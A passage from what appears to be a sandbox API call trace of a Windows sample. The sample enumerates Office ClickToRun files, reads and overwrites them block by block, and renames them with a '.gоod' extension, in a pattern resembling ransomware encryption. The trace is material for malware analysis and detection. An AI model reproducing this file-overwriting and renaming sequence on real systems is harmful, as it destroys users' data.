lpOldMode=0x10fb0d0) returned 1 [0077.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0077.461] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6", lpFilePart=0x0) returned 0x48 [0077.461] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0077.462] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.462] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0077.462] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0077.462] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0077.462] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0077.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0077.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0077.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0077.463] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16", lpFilePart=0x0) returned 0x51 [0077.463] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0077.465] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.466] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd7b21800, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0077.466] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1 [0077.466] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcc39700, ftLastWriteTime.dwHighDateTime=0x1d0d7e6, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.466] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0077.466] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0077.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0077.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0077.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0077.467] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16", lpFilePart=0x0) returned 0x51 [0077.467] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0077.468] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.468] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd7b21800, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0077.468] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfe714e00, ftLastWriteTime.dwHighDateTime=0x1d0d7e7, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1 [0077.468] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcc39700, ftLastWriteTime.dwHighDateTime=0x1d0d7e6, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0077.468] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcc39700, ftLastWriteTime.dwHighDateTime=0x1d0d7e6, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0077.469] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0077.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0077.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0077.469] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0077.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0077.470] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3316d00 | out: lpFileInformation=0x3316d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd7b21800, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x564f)) returned 1 [0077.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0077.470] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0077.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.471] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.471] GetFileType (hFile=0x790) returned 0x1 [0077.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.471] GetFileType (hFile=0x790) returned 0x1 [0077.471] SetFilePointer (in: hFile=0x790, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x1000 [0077.471] ReadFile (in: hFile=0x790, lpBuffer=0x33171e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa578, lpOverlapped=0x0 | out: lpBuffer=0x33171e8*, lpNumberOfBytesRead=0x10fa578*=0x1000, lpOverlapped=0x0) returned 1 [0077.473] CloseHandle (hObject=0x790) returned 1 [0077.473] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0077.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.473] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.473] GetFileType (hFile=0x790) returned 0x1 [0077.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.473] GetFileType (hFile=0x790) returned 0x1 [0077.473] SetFilePointer (in: hFile=0x790, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x564f [0077.473] WriteFile (in: hFile=0x790, lpBuffer=0x33184e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fa498, lpOverlapped=0x0 | out: lpBuffer=0x33184e8*, lpNumberOfBytesWritten=0x10fa498*=0x10, lpOverlapped=0x0) returned 1 [0077.474] CloseHandle (hObject=0x790) returned 1 [0077.475] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0077.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.475] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.476] GetFileType (hFile=0x790) returned 0x1 [0077.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.476] GetFileType (hFile=0x790) returned 0x1 [0077.476] ReadFile (in: hFile=0x790, lpBuffer=0x331a810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa528, lpOverlapped=0x0 | out: lpBuffer=0x331a810*, lpNumberOfBytesRead=0x10fa528*=0x1000, lpOverlapped=0x0) returned 1 [0077.487] CloseHandle (hObject=0x790) returned 1 [0077.487] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0077.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.487] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.488] GetFileType (hFile=0x790) returned 0x1 [0077.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.488] GetFileType (hFile=0x790) returned 0x1 [0077.488] WriteFile (in: hFile=0x790, lpBuffer=0x3319500*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fa5d8, lpOverlapped=0x0 | out: lpBuffer=0x3319500*, lpNumberOfBytesWritten=0x10fa5d8*=0x1010, lpOverlapped=0x0) returned 1 [0077.488] CloseHandle (hObject=0x790) returned 1 [0077.488] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", lpFilePart=0x0) returned 0x6c [0077.488] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.gоod", lpFilePart=0x0) returned 0x71 [0077.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa510) returned 1 [0077.488] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x10fa5f0 | out: lpFileInformation=0x10fa5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2a666733, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x565f)) returned 1 [0077.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa4d0) returned 1 [0077.489] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml.gоod")) returned 1 [0077.489] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0077.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0077.489] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x3396e10 | out: lpFileInformation=0x3396e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f73dd4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f73dd4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcc39700, ftLastWriteTime.dwHighDateTime=0x1d0d7e6, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4)) returned 1 [0077.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0077.489] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0077.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.490] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.490] GetFileType (hFile=0x790) returned 0x1 [0077.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.490] GetFileType (hFile=0x790) returned 0x1 [0077.490] SetFilePointer (in: hFile=0x790, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fa5a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fa5a8*=0) returned 0x1000 [0077.490] ReadFile (in: hFile=0x790, lpBuffer=0x33972e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fa578, lpOverlapped=0x0 | out: lpBuffer=0x33972e8*, lpNumberOfBytesRead=0x10fa578*=0x1000, lpOverlapped=0x0) returned 1 [0077.711] CloseHandle (hObject=0x790) returned 1 [0077.711] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat", lpFilePart=0x0) returned 0x6a [0077.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0077.711] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0077.711] GetFileType (hFile=0x790) returned 0x1 [0077.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa3c0) returned 1 [0077.712] GetFileType (hFile=0x790) returned 0x1 [0077.712] SetFilePointer (in: hFile=0x790, lDistanceToMove=0, 